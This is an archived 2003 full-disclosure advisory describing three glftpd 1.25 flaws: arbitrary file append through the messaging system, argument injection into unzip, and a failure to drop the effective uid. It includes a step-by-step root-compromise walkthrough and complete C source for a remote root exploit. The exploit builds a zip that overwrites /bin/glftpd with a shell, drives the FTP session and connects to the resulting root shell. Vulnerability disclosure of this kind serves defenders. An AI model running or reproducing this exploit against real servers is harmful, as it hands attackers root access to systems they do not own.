

[Full-Disclosure] multiple vulnerabilities in glftpd

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-02/0315.html>

From: Karol Wiêsek (appelast@bsquad.sm.pl)

Date: 02/21/03

From: Karol Wiêsek <appelast@bsquad.sm.pl>

To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com

Date: Fri, 21 Feb 2003 20:12:08 +0100

-----BEGIN PGP SIGNED MESSAGE-----

* MULTIPLE VULNERABILITIES IN GLFTPD *

I. BACKGROUND

Glftpd is a ftpd server, but it wasn't designed as a replacement of ftpd server. It is a kind of warez ftpd (like serv-u, war-ftpd). It has its own users, groups etc. (it doesn't use system files). It has built in request and message system, which allow to communicate between users. After connecting it chroots, and moreover users are chrooted second time. The second chroot is not typical chroot (for example commands could modify files outside of chroot), but users can not get out of it.

II. DESCRIPTION

1) Writing to any file with effective uid equal 0

Messaging system which allows users to communicate each other is vulnerable to simple attack, which allows any logged user to append his own line (unfortunately formatted - which disallows uid escalation) to any file.

Sending messages uses following algorithm :

* Check if user exists by stat'ing /ftp-data/users/username

where username is not checked at all.

Full-Disclosure: [Full-Disclosure] multiple vulnerabilities in glftpd

* Open file /ftp-data/users/username in append mode and write formatted line.

Attacker by setting destination username to
"./../site/incoming/file"
could destroy target file (f.ex. zipfile).

2) Unpacking uploaded files

Version 1.25 allows users to check, list and varify uploaded zip files using unzip. This id done using following commands.

System command Glftpd command

```
unzip -tqq file site zipchk file
unzip -l -v file site ziplist file
unzip -p -C file *.nfo *.NFO site nfo file
```

There is possibility to pass filename with additional parameters to unzip.

Unfortunately unzip dissallows to mix parameters, so extracting uor file is rather impossible, but really ???

After checking argument parsing function in unzip we discover that there is an easy way to trick unzip, using the following command we obligate unzip to extract our file.

```
unzip -l -v --l --v file
```

(for more details see unzip.c)

So, command site ziplist --l --v file, extracts our file

3) Bad euid restoring

All config, messages, help files are owned by root, so any password, tagline changing, message sending are connected with temporary changing of euid.

There is one situation where restoring old euid is broken.

On first console :

```
[root@siuwax /]# ftp siuwax 221
username: appelast
password: v
>
```

Full-Disclosure: [Full-Disclosure] multiple vulnerabilities in glftpd

On second console :

```
[root@siuwax /]# ps -axu | grep glftpd
#100 1301 0.1 0.9 2568 1196 ? S 17:08 0:00
glftpd:siuwax: appelast
[root@siuwax /]# strace -f -p 1301 -o gl-one1-log
```

Back to first :

```
>site onel k
```

Back to second :

```
^C
```

```
[root@siuwax /]# ps -axu | grep glftpd
root 1301 0.0 0.9 2580 1212 ? S 17:08 0:00
glftpd:siuwax: appelast
Oh, what happened :> ??
```

```
[root@siuwax /]# cat gl-one1-log
1301 read(0, "SITE onel k\r\n", 1024) = 16
1301 alarm(900) = 888
1301 getuid() = 0
1301 getpid() = 1301
1301 rt_sigprocmask(SIG_BLOCK, ~[STKFLT CONT PWR RT_0 RT_1 RT_2 RT_3
RT_4 RT_5 RT_6 RT_7 RT_8 RT_9 RT_10 RT_11 RT_12 RT_13 RT_14 RT_15
RT_16 RT_17 RT_18 RT_19 RT_20 RT_21 RT_22 RT_23 RT_24 RT_25 RT_26
RT_27 RT_28 RT_29 RT_30], [], 8) = 0
```

```
--HERE FIRST--> 1301 setresuid(ruid 4294967295, euid 0, suid
4294967295) = 0
```

```
1301 open("/ftp-data/misc/oneliners.1301.temp",
O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
1301 open("/ftp-data/misc/oneliners", O_RDONLY) = 7
1301 fstat(7, {st_mode=S_IFREG|0666, st_size=428, ...}) = 0
1301 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015e000
1301 read(7, "appelast 10409213"..., 4096) = 428
1301 read(7, "", 4096) = 0
1301 fstat(6, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
1301 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015f000
1301 time(NULL) = 1040922613
1301 close(7) = 0
1301 munmap(0x4015e000, 4096) = 0
1301 write(6, "appelast 10409213"..., 535) = 535
1301 close(6) = 0
1301 munmap(0x4015f000, 4096) = 0
1301 unlink("/ftp-data/misc/oneliners") = 0
1301 rename("/ftp-data/misc/oneliners.1301.temp",
"/ftp-data/misc/oneliners") = 0
```

Full-Disclosure: [Full-Disclosure] multiple vulnerabilities in glftpd

--HERE SECOND--> 1301 setresuid(ruid 4294967295, euid 0, suid 4294967295) = 0

```
1301 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
1301 write(1, "200 Your oneliner has been added" ..., 35) = 35
1301 rt_sigaction(SIGALRM, {0x8058f60, [ALRM]},
SA_RESTART|0x4000000), {0x8058f60, [ALRM], SA_RESTART|0x4000000}, 8)
= 0
1301 gettimeofday({ 1040922613, 745799}, NULL) = 0
1301 time([1040922613]) = 1040922613
1301 read(0, <unfinished ...>
```

Probably second setresuid should set euid to 100, but it doesn't.

III. ANALYSIS

Logged users could append to any file destroying it (it could be fixed by manually editing).

Also logged users could gain root privileges in chroot, and also in all system (see PoC).

Glftpd is a warez ftpd, and there is often practised look only accounts (for everyone), which also allows expliting.

IV. PROOF OF CONCEPT

Root compromise with glftpd 1.25 (Linux)

```
[root@siuwax /]# ftp 127.0.0.1 221
username : appelast
password : v
>cd incoming
>put kkk.zip
>site onel
>site ziplist --l --v -o kkk.zip
>quit
```

```
[root@siuwax /]# telnet 127.0.0.1 221
bash#
```

File kkk.zip is prepared to overwrite /bin/glftpd, which is evoked from xinetd with uid=0.

And contains :

```
#!/bin/sh
sh -i
```

V. DETECTION

Glftpd 1.25 is confirmed vulnerable to all 3 attacks, since Glftpd 1.26

commands site [nfo|ziplist|zipchk] was disabled and changed, but rest 2 bugs are present in all version including newest 1.28.

VI. EXAMPLE EXPLOIT

/*

Glftpd 1.25 PoC remote root exploit
 appelast [appelast-at-bsquad.sm.pl]

We don't need writable directory to
 upload our file, we change our euid
 before it to 0 :>

*/

```
#define TMP_ZIP "/tmp/kakaka.zip"
#define TMP_CMDS "/tmp/glcmsds"
```

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
```

// shellcode ;)

signed int

```
shellcode[221]={ 80,75,3,4,10,0,0,0,0,83,125,-102,45,98,68,108,-96,15
,0,0,0,15,0,0,0,37,0,21,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47
,46,46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112
,100,85,84,9,0,3,110,35,11,62,-33,99,11,62,85,120,4,0,0,0,0,35,33,47
,98,105,110,47,115,104,10,115,104,32,45,105,80,75,1,2,23,3,10,0,0,0,0,
0,83,125,-102,45,98,68,108,-96,15,0,0,0,15,0,0,0,37,0,13,0,0,0,0,1,0
,0,0,-19,-127,0,0,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,
46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112,100
,85,84,5,0,3,110,35,11,62,85,120,0,0,80,75,5,6,0,0,0,0,1,0,1,0,96,0,0,
0,103,0,0,0,0,0};
```

```
void usage(char *progname) {
    printf("Glftpd 1.25 remote root exploit\n"
        "appelast [appelast-at-bsquad.sm.pl]\n"
        "usage : %s host port user password\n\n"
        ,progname);
}
```

```
int openhost(char *host,int port) {
    int sock;
    struct sockaddr_in addr;
    struct hostent *he;

    he=gethostbyname(host);

    if (he==NULL) return -1;
```

Full-Disclosure: [Full-Disclosure] multiple vulnerabilities in glftpd

```
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);

if (sock==-1) return -1;

memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);

if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
sock=-1;

return sock;
}

void openshell(int sock)
{
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
i=read(sock,buf,1024);
if (i <= 0)
{
printf("The connection was closed!\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0)
{
buf[i]=0;
write(sock,buf,i);
}
}
}
}

int main(int argc, char *argv[]) {
int fd, i;
char buf[1024];
```

Full-Disclosure: [Full-Disclosure] multiple vulnerabilities in glftpd

```
char user[25], pass[25];
memset(buf,0,1024);
usage(argv[0]);
if (argc!=5)
    exit(0);
snprintf(user, 24,"%s", argv[3]);
snprintf(pass, 24,"%s", argv[4]);

printf("Creating evil .zip file : ");

fd = open(TMP_ZIP,O_RDWR|O_CREAT|O_TRUNC,0600);
if (fd<0)
{
    perror("open");
    exit(0);
}
for (i=0; i<221; i++)
{
    (int)buf[0]=shellcode[i];
    buf[1]=0;
    write(fd,buf,1);
}
close(fd);
printf("DONE\n");

printf("Creating commands file : ");

fd = open(TMP_CMDS,O_RDWR|O_CREAT|O_TRUNC,0600);
if (fd<0)
{
    perror("open");
    exit(0);
}

sprintf(buf,"quote user %s\n"
"quote pass %s\n"
"site onel hellou\n"
"put %s %s\n"
"site ziplist --l --v -o %s\n"
"del %s\n", user, pass, TMP_ZIP, strchr(TMP_ZIP, 0x2f)+1,
strchr(TMP_ZIP, 0x2f)+1, strchr(TMP_ZIP, 0x2f)+1);

write(fd, buf, strlen(buf));
close(fd);

printf("DONE\n");

printf("Exploiting ... ");

snprintf(buf, 1023, "ftp -n %s %i < /tmp/glcmds", argv[1],
atoi(argv[2]));
```

Full-Disclosure: [Full-Disclosure] multiple vulnerabilities in glftpd

```
system(buf);

unlink(TMP_ZIP);
unlink(TMP_CMDS);

printf("DONE\n");

printf("Connecting to rootshell\n");

openshell(openhost(argv[1],atoi(argv[2])));

return 0;
}
```

Karol Wiêsek [appelast-at-bsquad.sm.pl]
<http://bsquad.sm.pl/>

"Knajpa: miejsce, dok±d siê co wieczór chodzi po raz ostatni w
¿yciu."

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8
Comment: Bear Software, LLC, <http://bear-software.freesevers.com>

iQCVAwUBPIZr+EKKOIVhErCVAQHOiAQApG2CCAN7bqj4DPbY4ovTAXn2nvt8Gw8L
/+rpo68lJQfnlkDJzdxmlAS/PW+NIvGD6Jr0/Y5E/WPJpinDRFiEAfrMZGuzCO2F
9Swkv5mD6k0UDyTNBq3gwRRrzU6nzGSxfDQ/6kpD0SDIAQRB1JpK/7vFC0cKG8nT
OIn1+sgxHqg=
=UJ1c
-----END PGP SIGNATURE-----

Full-Disclosure – We believe in it.
Charter: <http://lists.netsys.com/full-disclosure-charter.html>

- application/x-zip-compressed attachment: [kkk.zip](#)